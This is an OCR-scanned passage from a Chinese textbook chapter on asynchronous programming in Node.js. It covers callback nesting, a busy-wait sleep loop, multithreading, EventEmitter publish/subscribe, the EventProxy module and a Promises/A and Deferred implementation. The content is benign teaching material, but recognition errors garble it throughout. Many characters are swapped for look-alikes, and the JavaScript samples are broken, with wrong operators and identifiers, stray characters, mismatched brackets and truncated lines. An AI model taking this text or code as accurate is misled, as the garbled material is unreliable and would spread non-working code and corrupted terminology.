三 者 缺 一 不 可 。 如 来 采用 默认 的 异步 方法 调用 ， 程序 也 许 将 会 如 下 所 示 : 

fs.readFile(template path， 'utf8', function (err, template) { 

db.query(sql, function (err, data) { 


110n.get(function (err, resources) { 
// TODO 


这 在 结果 的 保证 上 是 没有 问题 的 ， 问 题 在 于 这 并 没有 利用 好 异步 IO 市 来 的 并 行 优势 。 这 是 
异步 编程 的 典型 问题 ， 为 此 有 人 曾 说 ， 因 为 般 登 的 深度 ， 示 来 最 难看 的 代码 必 将 从 Node 中 诞生 。 
但 是 实际 情况 没有 想象 得 那么 糟 料 ， 且 看 后 面 如 何 解决 该 问题 。 

3. 难点 3: 阻塞 代码 

对 于 进入 JavaScript 世 界 不 久 的 开发 者 ， 比 较 纳闷 这 门 编程 语言 竟然 没有 sleep() 这 样 的 线程 
沉睡 功能 ， 唯 独 能 用 于 延 时 操作 的 只 有 setInterval() 和 setTimeout() 这 两 个 也 数 。 但 是 让 人 惊讶 
的 是 ,这 两 个 哨 数 并 不 能 阻 窗 后续 代码 的 持续 执行 。 所 以 ， 有 多 半 的 开发 者 会 写 出 下 述 这 样 的 代 
码 来 实现 sleep(1000) 的 效果 : 
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// TODO 

var start = new Date(); 

while (new Date() - start «< 1000) { 

// TODO 

1 

但 是 事实 是 糟糕 的 ， 这 段 代 码 会 持续 占用 CPU 进行 判断 ， 与 真正 的 线程 沉睡 相去 甚 远 ， 完 全 
破坏 了 事件 循环 的 调度 。 由 于 Node 单 线程 的 原因 ，CPU 资 源 全 都 会 用 于 为 这 段 代 码 服务 ， 导 致 其 
余 任 何 请 求 都 会 得 不 到 啊 应 。 

遇见 这 样 的 需求 时 ， 在 统一 规划 业务 逻辑 之 后 ， 调 用 setTimeout() 的 效果 会 更 好 。 

4. 难点 4: 多 线程 编程 

我 们 在 谈论 JavaScript 的 时 候 ， 通 和 常 谈 的 是 单一 线程 上 执行 的 代码 ， 这 在 浏览 兹 中 指 的 是 
JavaScript 执 行 线程 与 UI 演 染 共用 的 一 个 线程 ; 在 Node 中 , 只 是 没有 UI 演 染 的 部 分 , 模型 基本 相同 。 
对 于 服务 需 端 而 言 ， 如 有 果 服 务 需 是 多 核 CPU ， 单 个 Node 进 程 实质 上 是 没有 充分 利用 多 核 CPU 的 。 
随 春 现今 业务 的 复杂 化 ， 对 于 多 核 CPU 利 用 的 有 要求 也 越 来 越 高 。 训 览 可 提出 了 Web Workers， 它 通 
过 将 JavaScript 执 行 与 UI 演 染 分 离 ， 可 以 很 好 地 利用 多 核 CPU 为 大 量 计算 服务 。 同 时 前 端 Web 
Workers 也 是 一 个 利用 消息 机 制 合 理 使 用 多 核 CPU 的 理想 模型 。 图 4-3 为 Web Workers 的 工作 示意 图 。 


工作 线程 工作 线程 


- 。 消 自传 递 一 = 人 


- 2 


图 4-3” Web Workers 的 工作 示意 图 


凌 憾 在 于 前 端 浏 览 帮 存在 对 标准 的 涡 后 性 ，Web Workers 并 没有 广泛 应 用 起 来 。 另 外 Web 
Workers 能 解决 利用 CPU 和 减少 阻 窗 UI 渲染 ,但 是 不 能 解决 UI 演 染 的 效率 问题 。Node 值 鉴 了 这 个 
模式 ，child process 是 其 基础 API，cluster 模 块 是 更 深层 次 的 应 用 。 借 助 Web Workers 的 模式 ， 开 
发 人 员 要 更 多 地 去 面临 览 线程 的 编程 ， 这 对 于 以 往 的 JavaScript 编 程 经 验 是 较 少 考虑 的 。 在 第 9 章 
中 ， 我 们 将 详细 分 析 Node 的 进程 ， 以 展开 这 部 分 内 容 。 

5. 难点 5: 异步 转 同步 

习惯 异步 编程 的 同学 ， 也许 能 够 从 容 面 对 异步 编程 帘 玉 的 副产品 ， 比 如 骸 僚 回调 、 业 务 分 散 
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等 问题 。Node 提 供 了 绝 大 部 分 的 异步 API 和 少量 的 同步 API， 偶尔 出 现 的 同步 需求 将 会 因为 没有 
同步 API 让 开发 者 突然 无 所 适 从 。 目 前 ，Node 中 试图 同步 式 编程 ， 但 并 不 能 得 到 原 牛 文 持 ， 需 要 
借助 库 或 者 编译 等 手段 来 实现 。 但 对 于 异步 调用 , 通过 展 好 的 流程 控制 ， 还 是 能 够 将 逻辑 杭 理 成 
顺序 式 的 形式 。 


4.3 “异步 编程 解决 方案 


前 面 列举 了 因 异 步 编程 带 来 的 一 些 问题 , 与 异步 编程 提升 的 性 能 成 果 相 比 , 编程 过 程 看 起 来 
似乎 没有 想象 中 那么 美好 , 但 是 事实 却 也 没有 那么 糟糕 与 问题 相 比 , 解决 问题 的 方案 总 是 更 多 ， 
本 节 将 展开 各 个 典型 的 解决 方案 。 

目前 ， 异 步 编 程 的 主要 解决 方案 有 如 下 3 种 。 

口 事件 发 布 /订阅 模式 。 

口 Promise/Deferred 模 式 。 

口 流程 控制 库 。 


4.3.1 事件 发 布 /订阅 模式 


事件 监听 需 模 式 是 一 种 广泛 用 于 异步 编程 的 模式 ,是 回调 函数 的 事件 化 ， 又 称 发 布 /订阅 模式 。 

Node 目 身 提 供 的 events 模 块 ( http://nodejs.org/docs/latest/api/events.html ) 是 发 布 /订阅 模式 的 
一 个 简单 实现 ，Node 中 部 分 模块 都 继承 目 它 ， 这 个 模块 比 前 痪 浏览 硕 中 的 大 量 DOM 事 件 人 简单 ， 
不 存在 事件 冒 泡 , 也 不 存在 preventDefault()、stopPropagation() 和 stopImmediatePropagation() 
等 控制 事件 传递 的 方法 。 它 具有 addListener/on() 、 once() 、 removeListener()、 
removeA11Listeners() 和 emit() 等 基本 的 事件 监听 模式 的 方法 实现 。 事 件 发 布 / 订 阅 模 式 的 操作 极 
其 价 单 ， 示 例 代 码 如 下 : 

// 订阅 

emitter.on("event1", function (message) { 

console.log(message); 


// 发 布 

emitter.emit('event1', "I am message!"); 

可 以 看 到 ， 订 阅 事件 就 是 一 个 高 阶 疯 数 的 应 用 。 事 件 发 布 /订阅 模式 可 以 实现 一 个 事件 与 多 
个 回调 函数 的 关联 ， 这 些 回调 函数 又 称 为 事件 侦 听 硕 。 通 过 emit() 发 布 事件 后 ， 消 息 会 立即 传递 
给 当前 事件 的 所 有 侦 听 冀 执 行 。 侦 听 冀 可 以 很 灵活 地 添加 和 删除 , 使 得 事件 和 具体 处 理 逻 辑 之 间 
可 以 很 轻松 地 关联 和 解 耦 。 

事件 发 布 /订阅 模式 目 身 并 无 同步 和 异步 调用 的 问题 ， 但 在 Node 中 ，emit() 调 用 多 半 是 伴随 
事件 循环 而 异步 触发 的 ， 所 以 我 们 说 事件 发 布 /订阅 广泛 应 用 于 异步 编程 。 

事件 发 布 /订阅 模式 第 津 用 来 解 厢 业 务 逻 辑 ， 事 件 发 布 者 无 须 关 注 订阅 的 侦 听 益 如 何 实 现 业 
务 逻 辑 ,， 其 至 不 用 关注 有 和 多少 个 倾听 冀 存 在 ,数据 通过 消 肯 的 方式 可 以 很 灵活 地 传递 。 在 一 些 典 
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型 场景 中 ， 可 以 通过 事件 发 布 /订阅 模式 进行 组 件 封 滨 ， 将 不 变 的 部 分 封 疲 在 组 件 内 部 ， 将 容 匈 
变化 、 需 目 定 义 的 部 分 通过 事件 暴露 给 外 部 处 理 ， 这 是 一 种 典型 的 逻辑 分 离 方式 。 在 这 种 事件 发 
布 /订阅 式 组 件 中 ， 事 件 的 设计 非常 重要 ， 因 为 它 头 乎 外 部 调用 组 件 时 是 否 优雅 ， 从 茶 种 角度 来 
说 事件 的 设计 就 是 组 件 的 接口 设计 。 

从 万 一 个 角度 来 看 ， 事 件 侦 听 融 模式 也 是 一 种 钩子 (hook ) 机 制 ， 利 用 钩子 导出 内 部 数据 或 
状态 给 外 部 的 调用 者 。Node 中 的 很 多 对 象 大 多 具有 于 盒 的 特点 ， 功 能 点 较 少 , 如 采 不 通过 事件 钧 
子 的 形式 ,我 们 就 无 法 获取 对 象 在 运行 期 间 的 中 间 值 或 内 部 状态 。 这 种 通过 事件 钩子 的 方式 ， 可 
以 使 编程 者 不 用 关注 组 件 是 如 何 启动 和 执行 的 ， 只 需 关 注 在 需要 的 事件 点 上 即 可 。 下 面 的 HTTP 
请 求 是 典型 场景 : 


var options = { 
host: “www.google.com ， 
port: 80， 
path: “ /upJload ， 
method: 'POST' 
}; 
var req = http.request(options, function (res) { 
console.log('STATUS: ”+ res.statusCode); 
console.log('HEADERS: ' + JSON.stringify(res.headers)); 
res.setEncoding('utf8"); 
res.on('data', function (chunk) { 
console.1log('BODY: ”+ chunk); 
}); 
res.on('end', function () { 
// TODO 
})); 
1 
req.on('error', function (e) { 
console.log('problem with request: ' + e.message); 
}); 
// write data to request body 
req.write('data\n'); 
req.write('data\n'); 
req.end(); 


在 这 段 HITP 请 求 的 代码 中 ， 程 序 员 只 需要 将 视线 放 在 erfor 、data 、end 这 些 业 务 事 件 点 上 
即 可 ， 至 于 内 部 的 流程 如 何 ， 无 需 过 于 关注 。 
值得 一 提 的 是 ，Node 对 事件 发 布 /订阅 的 机 制 做 了 一 些 额 外 的 人 处理， 这 大 多 是 基于 健壮 性 而 
考虑 的 。 下 面 为 两 个 具体 的 细节 点 。 
口 如 果 对 一 个 事件 添加 了 超过 10 个 侦 听 需 , 将 会 得 到 一 条 警告。 这 一 处 设计 与 Node 自 号 单线 
程 运行 有 关 ， 设 计 者 认为 侦 听 器 太 多 可 能 导致 内 存 泄 漏 ， 所 以 存在 这 样 一 条 警告 。 调 用 
emitter.setMaxListeners(0); 可 以 将 这 个 限制 去 掉 。 另 一 方面 ， 由 于 事件 发 布 会 引起 一 
系列 侦 听 需 执 行 ， 如 果 事 件 相 关 的 侦 听 需 过 多 ， 可 能 存在 过 多 占用 CPU 的 情景 。 
口 为 了 处 理 异 常 ，EventEmitter 对 象 对 error 事 件 进行 了 特殊 对 待 。 如 果 运 行 期 间 的 错误 触 
发 了 error 事 件 ，EventEmitter 会 检查 是 否 有 对 error 事 件 添 加 过 侦 听 天。 如 采 添 加 了 ， 这 
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个 错误 将 会 交 由 该 侦 听 上 舌 处 理 ， 否 则 这 个 错误 将 会 作为 异 稼 抛 出 。 如 有 果 外 部 没有 捕获 这 
个 异常 ， 将 会 引起 线程 退出 。 一 个 健壮 的 EventEmitter 实 例 应 该 对 error 事 件 做 处 理 。 
1. 继承 events 模 块 
实现 一 个 继承 EventEmitter 的 类 是 十 分 人 简单 的 ， 以 下 代码 是 Node 中 Stream 对 和 象 继承 
EventEmitter 的 例子 : 


var events = require('events'); 


function Stream() { 
events .EventEmitter.call(this); 


util.inherits(Stream, events.EventEmitter); 

Node 在 util 模 块 中 封 闻 了 继承 的 方法 , 所 以 此 处 可 以 很 便利 地 调用 。 开 发 者 可 以 通过 这 样 的 
方式 轻松 继承 EventEmitter 类 ， 利 用 事件 机 制 解 决 业务 问题 。 在 Node 提 供 的 核心 模块 中 ， 有 近 半 
数 都 继承 日 EventEmitter。 

2. 利用 事件 队列 解决 雪 毅 问题 

在 事件 订阅 /发 布 模式 中 , 通常 也 有 一 个 once() 方 法 , 通过 它 添 加 的 侦 听 器 只 能 执行 一 次 , 在 
执行 之 后 就 会 将 它 与 事件 的 关联 移 除 。 这 个 特性 常常 可 以 帮助 我 们 过 滤 一 些 重 复 性 的 事件 啊 应 。 
下 面 我 们 介绍 一 下 如 何 采用 once() 来 解决 雪 前 问题 。 

在 计算 机 中 ，, 绥 存 由 于 存放 在 内 存 中 , 访问 速度 十 分 快 ， 党 第 用 于 加 速 数 据 访问 ,让 绝 大 多 
数 的 请 求 不 必 重 复 去 做 一 些 低 效 的 数据 读 取 。 所 请 雪 册 问题 ， 就 是 在 噩 访问 量 、 大 并 发 量 的 情况 
下 缓存 失效 的 情景 , 此 时 大 量 的 请 求 同 时 涌 入 数据 库 中 ,数据 库 无 法 同时 承受 如 此 大 的 查询 请 求 ， 
进而 往 前 影响 到 网 站 整体 的 响应 速度 。 

以 下 是 一 条 数据 库 查 询 语句 的 调用 : 


var select = function (callback) { 
db.select("SQOL", function (results) { 
callback(results); 


了 3 


J 
如 有 果 站 点 刚好 启动 ， 这 时 缓存 中 是 不 存在 数据 的 ， 而 如 果 访 问 量 巨 大 ,同一 句 SQL 会 被 发 送 
到 数据 库 中 反复 查询 , 会 影响 服务 的 整体 性 能 。 一 种 改进 方案 是 添加 一 个 状态 锁 , 相关 代码 如 下 : 


var status = “Teady ; 
var select = function (callback) { 
if (status === "ready") { 
status = "pending"; 
db.select("SQOL", function (results) { 
status = “ITeady ; 
callback(results); 
}); 
} 
}; 


但 是 在 这 种 情景 下 , 连续 地 多 次 调用 select() 时 , 只 有 第 一 次 调用 是 生效 的 ,后续 的 select() 
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是 没有 数据 服务 的 ， 这 个 时 候 可 以 引入 事件 队列 ， 相 关 代 码 如 下 : 


var proxy = new events.EventEmitter(); 
var status = “ITeady ; 
var select = function (callback) { 
proxy.once("selected", callback); 
if (status === "ready") { 
status = "pending"; 
db.select("SOL", function (results) { 
proxy.emit("selected", results); 
status = “Teady 


}); 
} 
ys 


这 里 我 们 利用 了 once() 方 法 ,将 所 有 请 求 的 回调 都 压 人 事件 队列 中 ,， 利 用 其 执行 一 次 就 会 将 
监视 需 移 除 的 特点 ， 保 证 每 一 个 回调 只 会 被 执行 一 次 。 对 于 相同 的 SQL 语句 ， 保 证 在 同一 个 查询 
开始 到 结束 的 过 程 中 永远 只 有 一 次 。SQL 在 进行 查询 时 ,新 到 来 的 相同 调用 只 需 在 队列 中 等 待 交 
据 就 绪 即 可 ,一旦 查询 结束 , 得 到 的 结果 可 以 被 这 些 调用 共同 使 用 。 这 种 方式 能 市 省 重复 的 数据 
库 调用 产生 的 开销 。 由 于 Node 单 线程 执行 的 原因 ， 此 处 无 须 担 心 状态 同步 问题 。 这 种 方式 其 实 也 
可 以 应 用 到 其 他 远程 调用 的 场景 中 ， 即 使 外 部 没有 绥 存 策略 ， 也 能 有 效 节 省 重复 开销 。 

此 处 可 能 因为 存在 侦 听 大 过 多 引发 的 警告 ， 需 要 调用 setMaxListeners(0) 移 除 抒 警 告 ， 或 者 
设 更 大 的 警告 国 但 。 

once() 方 法 产生 的 效果 ， 也 可 以 在 著名 的 Gearman 异 步 应 用 框 染 中 实现 。 但 在 JavaScript 中 ， 
实现 这 个 效果 十 分 容易 。 

3. 多 异步 之 间 的 协作 方案 

事件 发 布 /订阅 模式 有 者 它 的 优点 。 利 用 高 阶 函数 的 优势 ， 俱 听 带 作为 回调 孔 数 可 以 随 章 湛 
加 和 删除 ， 它 帮助 开发 者 轻松 处 理 随 时 可 能 添加 的 业务 逻辑 。 也 可 以 隔离 业务 逻辑 ,保持 业务 逻 
辑 单元 的 职责 单一 。 一 般 而 言 ， 事 件 与 侦 听 天 的 关系 是 一 对 多 ,， 但 在 异步 编程 中 ， 也 会 出 现 事 件 
与 侦 听 需 的 关系 是 多 对 一 的 情况 , 也 就 是 说 一 个 业务 逻辑 可 能 依赖 两 个 通过 回调 或 事件 传递 的 结 
采 。 前 面 提 及 的 回调 般 侠 过 深 的 原因 即 是 如 此 。 

这 里 我 们 尝试 通过 原生 代码 解决 “难点 2” 中 为 了 最 终结 采 的 处 理 而 导致 可 以 并 行 调 用 但 实 
味 只 能 串 行 执行 的 问题 。 我 们 的 目标 是 既 要 享受 异步 1O 带 来 的 性 能 提升 ， 也 要 保持 良好 的 编码 
风格 。 这 里 以 泻 染 页 面 所 需要 的 模板 读 取 、 数 据 读 取 和 本 地 化 资源 读 取 为 例 人 简要 介绍 一 下 ,相关 
代码 如 下 : 


var count = 0; 
Var results = {}; 
var done = function (key, value) { 
results[key|] = value; 
Count++; 
if (count === 3) { 
// 党 米 页 面 
render(results); 
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}; 


fs.readFile(template path, "utf8", function (err, template) { 
done("template", template); 


}); 
db.query(sql, function (err, data) { 
done("data", data); 


}); 
lion.get(function (err, resources) { 
done("resources", resources); 
}); 
由 于 多 个 异步 场景 中 回调 函数 的 执行 并 不 能 保证 顺序 ， 且 回调 函数 之 间 互 相 没 有 任何 交集 ， 
所 以 需要 借助 一 个 第 三 方 函 数 和 第 三 方 变量 来 处 理 异步 协作 的 结果 。 通常 , 我 们 把 这 个 用 于 检测 
次 数 的 变量 叫做 哨兵 变量 ,聪明 的 你 也 许 已 经 想到 利用 偏 消 数 来 处 理 哨兵 变量 和 第 三 方 函数 的 关 
系 了 ， 相 关 代 码 如 下 : 
var after = function (times, callback) { 
var count = 0, results = {}; 


return function (key, value) { 
results[key] = value; 


Count++; 

if (count === times) { 
callback(results); 

} 


3 
je 


var done = after(times, render); 
上 述 方案 实现 了 多 对 一 的 目的 。 如 采 业 务 继续 增长 ， 我 们 依然 可 以 继续 利用 发 布 /订阅 方式 
来 完成 多 对 多 的 方案 ， 相 关 代 码 如 下 : 


var emitter = new events.Emitter(); 
var done = after(times, render); 


emitter.on("done", done); 
emitter.on("done", other); 


fs.readFile(template path, "utf8", function (err, template) { 
emitter.emit("done", "template", template); 


}); 
db.query(sql, function (err, data) { 
emitter.emit("done", "data", data); 


}); 
lion.get(function (err, resources) { 
emitter.emit("done", "resources", resources); 


}); 

这 种 方案 结合 了 前 者 用 人 简单 的 偏 痕 数 完成 多 对 一 的 收敛 和 事件 订阅 /发 布 模式 中 一 对 多 的 发 散 。 

在 上 面 的 方法 中 ， 有 一 个 令 调 用 者 不 那么 舒服 的 问题 ,， 那 就 是 调用 者 要 去 准备 这 个 done() 孙 
数 ， 以 及 在 回调 果 数 中 需要 从 结果 中 把 数据 一 个 一 个 提取 出 来 ， 再 进行 处 理 。 
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为 一 个 方案 则 是 来 自 笔 者 目 己 写 的 EventProxy 模 块 , 它 是 对 事件 订阅 /发 布 模式 的 扩充 ,可 以 
自由 订阅 组 合 事件 。 由 于 依旧 采用 的 是 事件 订阅 /发 布 模式 ， 与 Node 十 分 契合 ， 相 关 代 码 如 下 : 


var proxy = new EventProxy(); 


proxy.all("template", "data", "resources", function (template, data, resources) { 
// TODO 


}); 


fs.readFile(template path, "utf8", function (err, template) { 
proxy.emit("template", template); 

}); 

db.query(sql, function (err, data) { 
proxy.emit("data", data); 

}); 


lion.get(function (err, resources) { 
proxy.emit("resources", resources); 

EventProxy 提 供 了 一 个 al1() 方 法 来 订阅 多 个 事件 , 当 每 个 事件 虱 被 触发 之 后 , 侦 听 融 才 会 执 
行 。 另 外 的 一 个 方法 是 tail() 方 法 ， 它 与 al1() 方 法 的 区 别 在 于 all1() 方 法 的 侦 听 融 在 满足 条 件 之 
后 只 会 执行 一 次 ,tail() 方 法 的 侦 听 融 则 在 满足 条 件 时 执行 一 次 之 后 ， 如 果 组 合 事件 中 的 茶 个 事 
件 被 再 次 触发 ， 侦 听 带 会 用 最 新 的 数据 继续 执行 。 

all() 方 法 市 来 的 另 一 个 改进 则 是 : 在 侦 听 硕 中 返回 数据 的 参数 列表 与 订阅 组 合 事件 的 事件 
列表 是 一 致 对 应 的 。 

除 此 之 外 ,在 异步 的 场景 下 ， 我们 常 肖 需要 从 一 个 接口 多 次 读 取 数据 ， 此 时 触发 的 事件 名 或 
许 是 相同 的 EventProxy 提 供 了 after() 方 法 来 实现 事件 在 执行 多 少 次 后 执行 侦 听 带 的 单一 事件 组 
合 订 阅 方式 ， 示 例 代 码 如 下 : 


var proxy = new EventProxy(); 


proxy.after("data", 10, function (datas) { 
// TODO 


}); 
这 段 代 码 表示 执行 10 次 data 事 件 后 执行 侦 听 融 。 这 个 侦 听 天 得 到 的 数据 为 10 次 按 事 件 触 发 次 
序 排 序 的 数组 。 
EventProxy 模 块 除 了 可 以 应 用 于 Node 中 外 ， 还 可 以 用 在 前 端 浏览 器 中 。 
4. EventProxy 的 原理 
EventProxy 来 自 于 Backbone 的 事件 模块 ，Backbone 的 事件 模块 是 Model、View 模 块 的 基础 功 
在 前 疾 有 广泛 的 使 用 。 它 在 每 个 非 a11 事 件 触发 时 都 会 触发 一 次 all 事 件 ， 相 关 代 人 码 如 下 : 
// Trigger an event, firing all bound callbacks. Callbacks are passed the 
// same arguments as trigger is, apart from the event name. 
// Listening for "all" passes the true event name as the first argument 
trigger : function(eventName) { 
var list, calls, ev, callback, args; 


Var both = 2; 
if (!(calls = this. callbacks)) return this; 


> 
EC 
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while (both--) { 
ev = both ? eventName : 'all'; 
if (list = calls[ev]) { 
for (var i = 0, 1 = list.length; i < 1; i++) { 
if (!(callback = list[i])) { 
list.splice(i, 1); i--; 1--; 
} else { 
args = both ? Array.prototype.slice.call(arguments, 1) : arguments; 
callback[0].apply(callback[1] || this, args); 
} 
} 
} 


return this; 


} 

EventProxy 则 是 将 al1 当 做 一 个 事件 流 的 拦截 层 , 在 其 中 注入 一 些 业 务 来 处 理 单一 事件 无 法 解 
决 的 异步 处 理 问 题 。 类 似 的 扩展 方法 还 有 all()、tail()、after()、not() 和 any() 等 。 

5. EventProxy 的 异常 处 理 

EventProxy 在 事件 发 布 / 汀 阅 模式 的 基础 上 还 完善 了 异常 处 理 。 在 异步 方法 中 ， ee 
占用 一 定 比 例 的 精力 。 在 过 去 一 段 时 间 内 ， 我 们 都 是 通过 额外 添加 error 事 件 来 进行 异常 统一 处 
理 的 ， 代 码 大 致 如 下 : 


exports.getContent = function (callback) { 
var ep = new EventProxy(); 
ep.all('tpl', 'data', function (tpl, data) { 
// 成 功 回调 
callback(null, { 
template: tpl, 
data: data 
}); 
]) 
// 侦 听 erTor 事 件 
ep.bind('error', function (err) { 
// 孝 载 掉 所 有 处 理 函 数 
ep.unbind(); 
// 异常 回调 
callback(err); 
]) 
fs.readFile('template.tpl', 'utf-8', function (err, content) { 
if (err) { 
// 一 旦 发 生 异 常 ， 一 律 交 给 erToT 事 件 的 处 理 函 数 处 理 


return ep.emit('error', err); 


ep.emit('tpl', content); 
}); 
db.get('some sql', function (err, result) { 
if (err) { 
// 一 旦 发 生 异 常 ， 一律 交 给 error 事 件 的 处 理 函 数 处 理 


return ep.emit('error', err); 
ep.emit('data', result); 


}); 
le 
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为 异 第 人 处理 的 原因 , 代码 量 一 下 子 多 起 来 了 , 而 EventProxy 在 实践 过 程 中 改进 了 这 个 问题 ， 
相关 代码 如 下 : 


exports.getContent = function (callback) { 
var ep = new EventProxy(); 
ep.all('tpl', 'data', function (tpl, data) { 
// 成 功 回 贡 
callback(null, { 
template: tpl, 
data: data 
})); 
}); 
// 绑 定 错 误 处 理 吕 数 
ep.fail(callback); 


fs.readFile('template.tpl', 'utf-8', ep.done('tpl')); 
人 sql', ep.done('data')); 
在 上 述 代码 中 ，EventProxy 提 供 了 fail() 和 done() 这 两 个 实例 方法 来 优化 异常 处 理 ， 使 得 开 
发 者 将 精力 关注 在 业务 部 分 ， 而 不 是 在 异 第 捕 获 上 。 
关于 fail() 方 法 的 实现 ， 可 以 参见 以 下 的 变换 : 
ep.fail(callback); 


上 面 这 行 代码 等 价 于 下 面 的 代码 : 


ep.fail(function (err) { 
callback(err); 


}); 
又 等 价 于 : 

ep.bind('error', function (err) { 
// 孝 载 掉 所 有 处 理 函 数 
ep.unbind(); 
// 异常 回调 
callback(err); 

}); 


而 done() 方 法 的 实现 ， 也 可 参见 以 下 的 变换 : 
ep.done( tpl1 ) ; 
它 等 价 于 : 
function (err, content) { 
if (err) { 


// 一 旦 发 生 异 常 ， 一律 交 给 error 事 件 处 理 涵 数 处 理 
return ep.emit('error' , err); 


ep.emit('tpl', content); 


同时 ，done() 方 法 也 接受 一 个 函数 作为 参数 ， 相 关 代 码 如 下 所 示 : 
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ep.done(function (content) { 
// TODO 
// 这 里 无 须 考虑 异常 
ep.emit('tpl', content); 
}); 
这 上 段 代码 等 价 于 : 
function (err, content) { 
if (err) { 
// 一 旦 发 生 异 常 ， 一 律 交 给 erToTr 事 件 的 处 理 函 数 处 理 
return ep.emit('error', err); 


} 
(function (content) { 
// TODO 
// 这 里 无 须 考虑 异常 
ep.emit('tpl', content); 
}(content ) ) ; 


当 只 传人 一 个 回调 丽 数 时 ,需要 手工 调用 emit() 触 发 事件 。 另 一 个 改进 是 同时 传人 事件 名 和 
回调 孔 数 ， 相 关 代 人 码 如 下 : 
ep.done('tpl', function (content) { 
// content.replace('s', 'S'); 
// TODO 
// 无 须 关注 异常 
return content ; 


}); 

在 这 种 方式 下 , 我 们 无 顷 在 回调 函数 中 处 理事 件 的 触发 ， 只 需 将 处 理 过 的 数据 返回 即 可 。 返 
回 的 结果 将 在 done() 方 法 中 用 作 事 件 的 数据 而 触发 。 

这 里 的 fail() 和 done() 十 分 类 似 Promise 模 式 中 的 fail() 和 done()。 换 侣 话 而 言 ， 这 可 以 算 作 事 
件 发 布 /订阅 模式 癌 Promise 模 式 的 借鉴 。 这 样 的 完善 既 提 升 了 程序 的 健壮 性 , 同时 也 降低 了 代码 量 。 


4.3.2 ” Promise/Deferred 模 式 


使 用 事件 的 方式 时 ， 执 行 流程 需要 被 预先 设 定 。 即 便 是 分 文 ， 也 需要 预先 设 定 ， 这 是 由 发 布 
/订阅 模式 的 运行 机 制 所 决定 的 。 下 面 为 普通 的 Ajax 调 用 : 
$.get('/api', { 
success: onSuccess, 


error: onError, 
complete: onComplete 


}); 

在 上 面 的 异步 调用 中 ,必须 严 谨 地 设置 目标 。 那么 是 否 有 一 种 先 执行 异步 调用 ， 延 述 传 递 处 
理 的 方式 呢 ? 答案 是 Promise/Deferred 模 式 。 

Promise/Deferred 模 式 在 JavaScript 框 架 中 最 早出 现 于 Dojo 的 代码 中 ， 被 广 为 所 知 则 来 自 于 
jQuery 1.5 版 本 ， 该 版 本 几乎 重 写 了 Ajax 部 分 ， 使 得 调用 Ajax 时 可 以 通过 如 下 的 形式 进行 : 
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$.get('/api') 
.SUuCCess(onSuccess) 
.error(onError) 
.complete(onComplete); 


这 使 得 即使 不 调用 success() 、error() 等 方法 ，Ajax 也 会 执行 ， 这 样 的 调用 方式 比 预先 传人 
回调 让 人 觉得 舒适 一 些 。 在 原始 的 API 中 , 一 个 事件 只 能 人 处理 一 个 回调 ,而 通过 Deferred 对 象 ， 可 
以 对 事件 加 入 任意 的 业务 人 处理 逻辑 ， 示 例 代 人 码 如 下 : 


$.get('/api') 
.SUCccess(onSuccess1) 
.SUCCcess(onSuccess2); 


Promise/Deferred 模 式 在 2009 年 时 被 Kris Zyp 抽 象 为 一 个 提议 草案 , 发布 在 CommonJS 规 范 中 。 
随 着 使 用 Promise/Deferred 模 式 的 应 用 逐渐 增多 ，CommonJS 草 案 目 前 已 经 抽象 出 了 Promises/A、 
Promises/B、Promises/D 这 样 典 型 的 异步 Promise/Deferred 模 型 ， 这 使 得 异步 操作 可 以 以 一 种 优雅 
的 方式 出 现 。 

异步 的 广度 使 用 使 得 回调 、 般 套 出 现 , 但 是 一 旦 出 现 深度 的 航 套 ,就 会 让 编程 的 体验 变 得 不 
愉快 ， 而 Promise/Deferred 模 式 在 一 定 程度 上 绥 解 了 这 个 问题 。 这 里 我 们 将 着 重 介 绍 Promises/A 来 
以 点 代 面 介绍 Promise/Deferred 模 式 。 
1. Promises/A 
Promise/Deferred 模 式 其 实 包 含 两 部 分 ， 即 Promise 和 Deferred。 这 里 暂 晶 不 提 两 者 的 区 别 是 什 
先 看 看 Promises/A 的 行为 吧 。 
Promises/A 提 议 对 单个 异步 操作 做 出 了 这 样 的 抽象 定义 ， 具 体 如 下 所 示 。 
口 Promise 操 作 只 会 处 在 3 种 状态 的 一 种 : 未 完成 态 、 完 成 态 和 失败 态 。 
口 Promise 的 状态 只 会 出 现 从 未 完成 态 回 完成 态 或 失败 态 转化 ， 不 能 逆反 。 完 成 态 和 失败 态 


不 能 互相 转化 。 
口 Promise 的 状态 一 旦 转化 ， 将 不 能 被 更 改 。 


Promise 的 状态 转化 示意 图 如 图 4-4 所 示 。 
图 4-4 ”Promise 的 状态 转化 示意 图 


在 API 的 定义 上 ，Promises/A 提 议 是 比较 简单 的 。 一 个 Promise 对 象 只 要 具备 then() 方 法 即 可 。 
但 是 对 于 then() 方 法 ， 有 以 下 简单 的 要 求 。 
口 接受 完成 态 、 错 误 态 的 回调 方法 。 在 操作 完成 或 出 现 错误 时 ， 将 会 调用 对 应 方法 。 


六 
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选 地 支持 progress 事 件 回调 作为 第 三 个 方法 。 
i 4 接受 function 对 象 ， 其 余 对 象 将 被 忽略 。 
D then() 方 法 继续 返回 Promise 对 象 ， 以 实现 链 式 调用 。 
then() 方 法 的 定义 如 下 : 
then(fulfilledHandler, errorHandler, progressHandler) 
为 了 演示 Promises/A 提 议 ， 这 里 我 们 尝试 通过 继承 Node 的 events 模 块 来 完成 一 个 简单 的 实 
相关 代码 如 下 : 


var Promise = function () { 
EventEmitter.call(this); 
}; 


util.inherits(Promise, EventEmitter); 


Promise.prototype.then = function (fulfilledHandler, errorHandler, progressHandler) { 
if (typeof fulfilledHandler === 'function') { 
// 利用 once() 方 法 ， 保 证 成 功 回调 只 执行 一 次 
this.once('success', fulfilledHandler); 
} 
if (typeof errorHandler === ne on { 
// 利 ] 用 once() 方 法 ， 保证 异常 回调 只 执行 一 次 
this.once('error', ie。 


if (typeof progressHandler === 'function') { 
this.on('progress', progressHandler); 


CE 


return this; 


人 
这 里 看 到 then() 方 法 所 做 的 事情 是 将 回调 困 数 存放 起 来 。 为 了 完成 整个 流程 ， 还 需要 触发 


执行 这 些 回 调 函 数 的 地 方 ， 实 现 这 些 功能 的 对 象 通 常 被 称 为 Deferred， 即 延迟 对 象 ， 示 例 代码 
如 下 : 


var Deferred = function () { 
this.state = unfulfilled ; 
this.promise = new Promise(); 


有 


Deferred.prototype.resolve = function (obj) { 
this.state = “fulfilled ; 
this.promise.emit('success' , obj); 


有 


Deferred.prototype.reject = function (err) { 
this.state = failed ; 
this.promise.emit('error', err); 


}; 
Deferred.prototype.progress = function (data) { 


this.promise.emit('progress', data); 


}; 
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这 里 的 状态 和 方法 之 间 的 对 应 关系 如 图 4-5 所 示 。 


